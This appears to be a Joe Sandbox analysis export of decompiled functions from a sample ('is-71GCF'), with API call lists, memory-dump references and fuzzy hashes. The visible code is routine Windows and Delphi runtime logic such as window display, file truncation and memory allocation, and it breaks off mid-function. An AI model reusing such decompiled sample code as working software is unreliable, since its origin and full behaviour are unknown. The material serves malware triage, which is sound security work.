                                                          • Instruction ID: c24772f8fa0902c48709f12b323a54ded4e47ae862b831ec1ca8631073ecd2d8
                                                          • Opcode Fuzzy Hash: 85229c5ab6443546c4d7ada4fe6e16972f4d1f4052e8b5d3a6116daef923843e
                                                          • Instruction Fuzzy Hash: 64D05BB23092107AE224955B6C44EAB6BDCCBC5774F11063EF568C31C1D6708C018675
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00423864(struct HWND__* __eax, int __edx, void* __eflags) {
                                                          				int _t3;
                                                          				void* _t8;
                                                          				int _t10;
                                                          				struct HWND__* _t11;
                                                          
                                                          				_t10 = __edx;
                                                          				_t11 = __eax;
                                                          				_t8 = E00423810();
                                                          				if(_t8 != 0) {
                                                          					E00423840(0);
                                                          				}
                                                          				_t3 = ShowWindow(_t11, _t10); // executed
                                                          				if(_t8 != 0) {
                                                          					return E00423840(1);
                                                          				}
                                                          				return _t3;
                                                          			}







                                                          0x00423867
                                                          0x00423869
                                                          0x00423870
                                                          0x00423874
                                                          0x00423878
                                                          0x00423878
                                                          0x0042387f
                                                          0x00423886
                                                          0x00000000
                                                          0x0042388a
                                                          0x00423892

                                                          APIs
                                                            • Part of subcall function 00423810: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 00423825
                                                          • ShowWindow.USER32(00410868,00000009,?,00000000,0041EFBC,00423B52,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042387F
                                                            • Part of subcall function 00423840: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 0042385C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: InfoParametersSystem$ShowWindow
                                                          • String ID:
                                                          • API String ID: 3202724764-0
                                                          • Opcode ID: fa9cbd9ceca1322ed2924bdf72900a6430fc091ccc3f29640bec95ff0d00d84b
                                                          • Instruction ID: ca9223d853fcb90c94abb5ffd669365a356a24bdff21032da78e46cfaacecbfd
                                                          • Opcode Fuzzy Hash: fa9cbd9ceca1322ed2924bdf72900a6430fc091ccc3f29640bec95ff0d00d84b
                                                          • Instruction Fuzzy Hash: 3CD0A7527412301143103AB73C5599B82E84DC26A7348043BF650DF353E91DCE0510FC
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004244DC(void* __eax, void* __edx, void* __edi) {
                                                          				void* __ebx;
                                                          				void* __esi;
                                                          				int _t10;
                                                          
                                                          				_t11 = __eax;
                                                          				if( *((char*)(__eax + 0x7e)) == 0) {
                                                          					_t3 = _t11 + 0x6c; // 0x21c247c
                                                          					return E00403598(_t3, __eax, __edx, __edi, __edx);
                                                          				} else {
                                                          					_t10 = SetWindowTextA( *(_t11 + 0x20), E00403880(__edx)); // executed
                                                          					return _t10;
                                                          				}
                                                          			}






                                                          0x004244e0
                                                          0x004244e6
                                                          0x004244fc
                                                          0x00424508
                                                          0x004244e8
                                                          0x004244f4
                                                          0x004244fb
                                                          0x004244fb

                                                          APIs
                                                          • SetWindowTextA.USER32(?,00000000), ref: 004244F4
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: TextWindow
                                                          • String ID:
                                                          • API String ID: 530164218-0
                                                          • Opcode ID: 992f391fe162daed673ab61c574adb3f239a6921a0669f29555344c1fd265b61
                                                          • Instruction ID: d5f67cecbba580fcac4e59b15a5996bcd41a91beb856dc26b49ece42d98d113d
                                                          • Opcode Fuzzy Hash: 992f391fe162daed673ab61c574adb3f239a6921a0669f29555344c1fd265b61
                                                          • Instruction Fuzzy Hash: 50D05EE37001302BCB01BAED58C4BC667CC9B8D25AB1540FBF904EB2A7C678DE408398
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 16%
                                                          			E0046073C(void* __ecx, intOrPtr* __edx) {
                                                          
                                                          				_push( *((intOrPtr*)(__edx + 0x2c)));
                                                          				_push( *((intOrPtr*)(__edx + 0x30)) - __ecx);
                                                          				return  *((intOrPtr*)( *__edx + 0x4c))();
                                                          			}



                                                          0x00460743
                                                          0x00460749
                                                          0x00460759

                                                          APIs
                                                          • KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,004613B4,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 00460754
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CallbackDispatcherUser
                                                          • String ID:
                                                          • API String ID: 2492992576-0
                                                          • Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                          • Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
                                                          • Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                          • Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040AADC,0040D088,?,?,00000000), ref: 00406F79
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cadb5b147ace2468a6f46023c56f2b685aa8f606246d6e3bbcd1633f26c17912
                                                          • Instruction ID: fbf433f388ee34c674fb7f0d47a908a919ece7d44da589a3048eb8b88fcd3b6d
                                                          • Opcode Fuzzy Hash: cadb5b147ace2468a6f46023c56f2b685aa8f606246d6e3bbcd1633f26c17912
                                                          • Instruction Fuzzy Hash: 16C048A138030032F92026B60C87F2600885704F19E64857AB784BE1C2C8E9A808011C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 86%
                                                          			E00432294(void* __ecx, void* __edi) {
                                                          				intOrPtr _t5;
                                                          
                                                          				E00404B7C(0x48c91c);
                                                          				_push(0); // executed
                                                          				L0042CD3C(); // executed
                                                          				 *0x48c008 = E00431C74;
                                                          				 *0x48d678 = E0043214C(__ecx, 1, __edi);
                                                          				_t5 =  *0x48d020; // 0x44f4f4
                                                          				 *0x48d67c = _t5;
                                                          				 *0x48d020 = E00432130;
                                                          				return _t5;
                                                          			}




                                                          0x00432299
                                                          0x0043229e
                                                          0x004322a0
                                                          0x004322a5
                                                          0x004322bb
                                                          0x004322c0
                                                          0x004322c5
                                                          0x004322ca
                                                          0x004322d4

                                                          APIs
                                                          • OleInitialize.OLE32(00000000), ref: 004322A0
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Initialize
                                                          • String ID:
                                                          • API String ID: 2538663250-0
                                                          • Opcode ID: 3af01045843cbf528373a59c1293ec597d93157069626a6141eb3f9db482e417
                                                          • Instruction ID: 585f100bb96e9d57a03b419eae856822037da0c64f70bee31af7cf89438149c0
                                                          • Opcode Fuzzy Hash: 3af01045843cbf528373a59c1293ec597d93157069626a6141eb3f9db482e417
                                                          • Instruction Fuzzy Hash: 5FD067B09022048ACB40BF65A985B4C3BE0A74E34CF51AA3FE248972A1D7BD54458B2D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00450220(intOrPtr* __eax) {
                                                          				int _t4;
                                                          				intOrPtr* _t7;
                                                          
                                                          				_t7 = __eax;
                                                          				_t4 = SetEndOfFile( *(__eax + 4)); // executed
                                                          				if(_t4 == 0) {
                                                          					return E00450118( *_t7);
                                                          				}
                                                          				return _t4;
                                                          			}





                                                          0x00450221
                                                          0x00450227
                                                          0x0045022e
                                                          0x00000000
                                                          0x00450232
                                                          0x00450238

                                                          APIs
                                                          • SetEndOfFile.KERNEL32(?,00000000,00466FB2), ref: 00450227
                                                            • Part of subcall function 00450118: GetLastError.KERNEL32(00000001,0044FF96,00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000), ref: 0045011B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLast
                                                          • String ID:
                                                          • API String ID: 734332943-0
                                                          • Opcode ID: 05f1c91ddef189d5ca6b774de87d878c40ba35594c3349ece120def876a2df58
                                                          • Instruction ID: 3251114619a1741aed5afc9004d59ef94c3fcc580cc86817ff8c49fd6281e940
                                                          • Opcode Fuzzy Hash: 05f1c91ddef189d5ca6b774de87d878c40ba35594c3349ece120def876a2df58
                                                          • Instruction Fuzzy Hash: 12C04C65200514878F54A6AA85C590672DC5B0830975040A6B904CF207E669EC048725
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E00407488(void* __eax) {
                                                          				signed int _t4;
                                                          
                                                          				_t4 = SetCurrentDirectoryA(E00403880(__eax)); // executed
                                                          				asm("sbb eax, eax");
                                                          				return  ~( ~_t4);
                                                          			}




                                                          0x00407493
                                                          0x0040749a
                                                          0x0040749f

                                                          APIs
                                                          • SetCurrentDirectoryA.KERNEL32(00000000,?,0048A562,00000000,0048A6FF,?,?,00000005,00000000,0048A733,?,?,00000000), ref: 00407493
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory
                                                          • String ID:
                                                          • API String ID: 1611563598-0
                                                          • Opcode ID: 89e2b87cdfa1798260bab94df247ada4683d7a7733ed33ae7715589495a06c3c
                                                          • Instruction ID: 479e35c2b4c6a546465f085265dfd16f3481341c68164e43c451ea822ff303c0
                                                          • Opcode Fuzzy Hash: 89e2b87cdfa1798260bab94df247ada4683d7a7733ed33ae7715589495a06c3c
                                                          • Instruction Fuzzy Hash: F7B012F13A030B16CA007AFE4CC1A1A08DC46592093401B7E701AE31C3DC3CE808001C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E0042E37F() {
                                                          				int _t4;
                                                          				intOrPtr _t7;
                                                          				void* _t8;
                                                          
                                                          				_pop(_t7);
                                                          				 *[fs:eax] = _t7;
                                                          				_push(E0042E39D);
                                                          				_t4 = SetErrorMode( *(_t8 - 0xc)); // executed
                                                          				return _t4;
                                                          			}






                                                          0x0042e381
                                                          0x0042e384
                                                          0x0042e387
                                                          0x0042e390
                                                          0x0042e395

                                                          APIs
                                                          • SetErrorMode.KERNEL32(?,0042E39D), ref: 0042E390
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode
                                                          • String ID:
                                                          • API String ID: 2340568224-0
                                                          • Opcode ID: dd20601ff72eda468eccbe48834f33d9ba91696e01e81644fd325e8eb642afbd
                                                          • Instruction ID: b85ea10cad000dbb67842e75b7f81d90e8e75e810439e906a79493006be36ac4
                                                          • Opcode Fuzzy Hash: dd20601ff72eda468eccbe48834f33d9ba91696e01e81644fd325e8eb642afbd
                                                          • Instruction Fuzzy Hash: A6B09B7670C6005DE705DB95741652D77E4D7C57113F14877F510D3580D53C7800852C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E00416804(void* __eax) {
                                                          				intOrPtr _t3;
                                                          
                                                          				_t3 =  *((intOrPtr*)(__eax + 0xc0));
                                                          				_push(_t3); // executed
                                                          				L00405F6C(); // executed
                                                          				return _t3;
                                                          			}




                                                          0x00416804
                                                          0x0041680a
                                                          0x0041680b
                                                          0x00416810

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: E69840
                                                          • String ID:
                                                          • API String ID: 4204705538-0
                                                          • Opcode ID: 0ebe11ebd7c7a4df9d9e0faee6d033ddc2646ddfecae204d56b219649ccd9660
                                                          • Instruction ID: f3ca08df1fedb921085731b7742c99a343ba174f909a652da75cbd703e075cc8
                                                          • Opcode Fuzzy Hash: 0ebe11ebd7c7a4df9d9e0faee6d033ddc2646ddfecae204d56b219649ccd9660
                                                          • Instruction Fuzzy Hash: EBA002665015019ADA00E7B58849F7A2298BB48208FCD05F9718497452C63C98008A15
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E004488EC(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				char _v21;
                                                          				signed int _v28;
                                                          				void* _t63;
                                                          				void* _t98;
                                                          				char _t108;
                                                          				char _t112;
                                                          				void* _t113;
                                                          				char _t114;
                                                          				intOrPtr _t138;
                                                          				intOrPtr _t147;
                                                          				intOrPtr _t150;
                                                          				char _t153;
                                                          				void* _t155;
                                                          				void* _t156;
                                                          				intOrPtr _t157;
                                                          				void* _t160;
                                                          
                                                          				_t160 = __fp0;
                                                          				_t155 = _t156;
                                                          				_t157 = _t156 + 0xffffffe8;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v28 = 0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_t150 = _a4;
                                                          				_push(_t155);
                                                          				_push(0x448acc);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t157;
                                                          				if( *((intOrPtr*)(_v12 + 0xc)) == 0) {
                                                          					__eflags =  *((intOrPtr*)(_v12 + 8));
                                                          					if(__eflags != 0) {
                                                          						L5:
                                                          						E004035DC( &_v28,  *((intOrPtr*)(_v12 + 0x18)));
                                                          						E00403900( &_v28, E004039A4(0x448ae8, _v28), 1);
                                                          						E00403900( &_v28, E004039A4(0x448ae8, _v28), 1);
                                                          						_t63 = E004036BC(_v28);
                                                          						__eflags = _t63 - 2;
                                                          						if(_t63 >= 2) {
                                                          							_v21 =  *_v28;
                                                          							E00403900( &_v28, 2, 1);
                                                          							_t153 =  *((intOrPtr*)(_t150 + 0xc)) - E004036BC(_v28);
                                                          							__eflags =  *_v28;
                                                          							if( *_v28 == 0) {
                                                          								_t153 = _t153 + 1;
                                                          								__eflags = _t153;
                                                          							}
                                                          							_v16 = E00431108(1, _t150);
                                                          							_t112 = E004036BC(_v28) - 2;
                                                          							__eflags = _t112;
                                                          							if(_t112 >= 0) {
                                                          								_t114 = _t112 + 1;
                                                          								__eflags = _t114;
                                                          								do {
                                                          									E004311D8(_v16, 0, _t150);
                                                          									_t114 = _t114 - 1;
                                                          									__eflags = _t114;
                                                          								} while (_t114 != 0);
                                                          							}
                                                          							_t113 = E004036BC(_v28);
                                                          							__eflags = _t113 - 2;
                                                          							if(_t113 >= 2) {
                                                          								do {
                                                          									_t98 = E004471BC(_t150, _t153);
                                                          									__eflags =  *((char*)(_v28 + _t113 - 1));
                                                          									E004312E0(_v16, E004437F0(_t98, _v28 & 0xffffff00 |  *((char*)(_v28 + _t113 - 1)) != 0x00000000), _t113 - 2);
                                                          									_t153 = _t153 + 1;
                                                          									_t113 = _t113 - 1;
                                                          									__eflags = _t113 - 1;
                                                          								} while (_t113 != 1);
                                                          							}
                                                          							__eflags =  *_v28;
                                                          							if( *_v28 == 0) {
                                                          								__eflags = 0;
                                                          								_v20 = 0;
                                                          							} else {
                                                          								_v20 = E004437F0(E004471BC(_t150, _t153), 1);
                                                          							}
                                                          							_push(_t155);
                                                          							_push(0x448aad);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t157;
                                                          							E00442554(_v8, _t113,  *((intOrPtr*)(_v12 + 8)), 0, _t150, _t153, _t160, _v20, _v16, 0); // executed
                                                          							E004486C0(_v8, GetLastError(), __eflags);
                                                          							__eflags = 0;
                                                          							_pop(_t138);
                                                          							 *[fs:eax] = _t138;
                                                          							_push(0x448ab4);
                                                          							E00443830(_v20);
                                                          							return E00443840(_v16);
                                                          						} else {
                                                          							goto L18;
                                                          						}
                                                          					} else {
                                                          						_t108 = E0044872C(_v8, 0, _v12, _t150, __esi, __eflags);
                                                          						__eflags = _t108;
                                                          						if(_t108 != 0) {
                                                          							goto L5;
                                                          						} else {
                                                          							goto L18;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					L18:
                                                          					_pop(_t147);
                                                          					 *[fs:eax] = _t147;
                                                          					_push(0x448ad3);
                                                          					return E00403548( &_v28);
                                                          				}
                                                          			}























                                                          0x004488ec
                                                          0x004488ed
                                                          0x004488ef
                                                          0x004488f2
                                                          0x004488f3
                                                          0x004488f4
                                                          0x004488f7
                                                          0x004488fa
                                                          0x004488fd
                                                          0x00448900
                                                          0x00448905
                                                          0x00448906
                                                          0x0044890b
                                                          0x0044890e
                                                          0x00448918
                                                          0x00448924
                                                          0x00448928
                                                          0x00448940
                                                          0x00448949
                                                          0x00448965
                                                          0x00448981
                                                          0x00448989
                                                          0x0044898e
                                                          0x00448991
                                                          0x0044899f
                                                          0x004489af
                                                          0x004489bf
                                                          0x004489c4
                                                          0x004489c7
                                                          0x004489c9
                                                          0x004489c9
                                                          0x004489c9
                                                          0x004489d6
                                                          0x004489e3
                                                          0x004489e3
                                                          0x004489e6
                                                          0x004489e8
                                                          0x004489e8
                                                          0x004489e9
                                                          0x004489ee
                                                          0x004489f3
                                                          0x004489f3
                                                          0x004489f3
                                                          0x004489e9
                                                          0x004489fe
                                                          0x00448a00
                                                          0x00448a03
                                                          0x00448a05
                                                          0x00448a09
                                                          0x00448a11
                                                          0x00448a28
                                                          0x00448a2d
                                                          0x00448a2e
                                                          0x00448a2f
                                                          0x00448a2f
                                                          0x00448a05
                                                          0x00448a37
                                                          0x00448a3a
                                                          0x00448a51
                                                          0x00448a53
                                                          0x00448a3c
                                                          0x00448a4c
                                                          0x00448a4c
                                                          0x00448a58
                                                          0x00448a59
                                                          0x00448a5e
                                                          0x00448a61
                                                          0x00448a7b
                                                          0x00448a8a
                                                          0x00448a8f
                                                          0x00448a91
                                                          0x00448a94
                                                          0x00448a97
                                                          0x00448a9f
                                                          0x00448aac
                                                          0x00448993
                                                          0x00000000
                                                          0x00448993
                                                          0x0044892a
                                                          0x00448930
                                                          0x00448935
                                                          0x00448937
                                                          0x00000000
                                                          0x00448939
                                                          0x00000000
                                                          0x00448939
                                                          0x00448937
                                                          0x0044891a
                                                          0x00448ab6
                                                          0x00448ab8
                                                          0x00448abb
                                                          0x00448abe
                                                          0x00448acb
                                                          0x00448acb

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 273739b0c0974acd627b1b42af382234852b02eac3c278118f5354121f24a6e2
                                                          • Instruction ID: cb5bc6dcd76587afdfecd2b16fac5137301e2ec7d3732cbacc5f6042d23f8f03
                                                          • Opcode Fuzzy Hash: 273739b0c0974acd627b1b42af382234852b02eac3c278118f5354121f24a6e2
                                                          • Instruction Fuzzy Hash: 5A515370A041099FEB00EFA9C892AAFBBF5EB48314F10417FE504A7391DB789D45CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00401680(signed int __eax, void** __ecx, intOrPtr __edx) {
                                                          				signed int _v20;
                                                          				void** _v24;
                                                          				void* _t15;
                                                          				void** _t16;
                                                          				void* _t17;
                                                          				signed int _t27;
                                                          				intOrPtr* _t29;
                                                          				void* _t31;
                                                          				intOrPtr* _t32;
                                                          
                                                          				_v24 = __ecx;
                                                          				 *_t32 = __edx;
                                                          				_t31 = __eax & 0xfffff000;
                                                          				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
                                                          				 *_v24 = _t31;
                                                          				_t15 = _v20 - _t31;
                                                          				_v24[1] = _t15;
                                                          				_t29 =  *0x48d440; // 0x71ff84
                                                          				while(_t29 != 0x48d440) {
                                                          					_t17 =  *(_t29 + 8);
                                                          					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
                                                          					if(_t31 > _t17) {
                                                          						_t17 = _t31;
                                                          					}
                                                          					if(_t27 > _v20) {
                                                          						_t27 = _v20;
                                                          					}
                                                          					if(_t27 > _t17) {
                                                          						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
                                                          						if(_t15 == 0) {
                                                          							_t16 = _v24;
                                                          							 *_t16 = 0;
                                                          							return _t16;
                                                          						}
                                                          					}
                                                          					_t29 =  *_t29;
                                                          				}
                                                          				return _t15;
                                                          			}












                                                          0x00401687
                                                          0x0040168b
                                                          0x00401692
                                                          0x004016a7
                                                          0x004016af
                                                          0x004016b5
                                                          0x004016bb
                                                          0x004016be
                                                          0x00401702
                                                          0x004016c6
                                                          0x004016cc
                                                          0x004016d0
                                                          0x004016d2
                                                          0x004016d2
                                                          0x004016d8
                                                          0x004016da
                                                          0x004016da
                                                          0x004016e0
                                                          0x004016ed
                                                          0x004016f4
                                                          0x004016f6
                                                          0x004016fc
                                                          0x00000000
                                                          0x004016fc
                                                          0x004016f4
                                                          0x00401700
                                                          0x00401700
                                                          0x00401711

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 004016ED
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: 623ec00aa2380b766de036dbdfdd6f0b09fa57e2f21e8112d72e2660bd701401
                                                          • Instruction ID: 8e25b90ae9f864962d718719b52cc57e6420d8e0f8478eb6e4e12427a5fbc1b4
                                                          • Opcode Fuzzy Hash: 623ec00aa2380b766de036dbdfdd6f0b09fa57e2f21e8112d72e2660bd701401
                                                          • Instruction Fuzzy Hash: 76117CB2A057059FC3109F29CC80A2BB7E2EBC4765F15C93DE598AB3A5D635AC408789
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041F5DC(intOrPtr _a4, intOrPtr _a8) {
                                                          				void* _t14;
                                                          				void _t15;
                                                          				intOrPtr _t25;
                                                          				char* _t26;
                                                          				void* _t35;
                                                          
                                                          				if( *0x48d650 == 0) {
                                                          					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
                                                          					_t35 = _t14;
                                                          					_t15 =  *0x48d64c; // 0x6a0000
                                                          					 *_t35 = _t15;
                                                          					_t1 = _t35 + 4; // 0x4
                                                          					E00402740(0x48c598, 2, _t1);
                                                          					_t2 = _t35 + 5; // 0x5
                                                          					 *((intOrPtr*)(_t35 + 6)) = E0041F5D4(_t2, E0041F5B4);
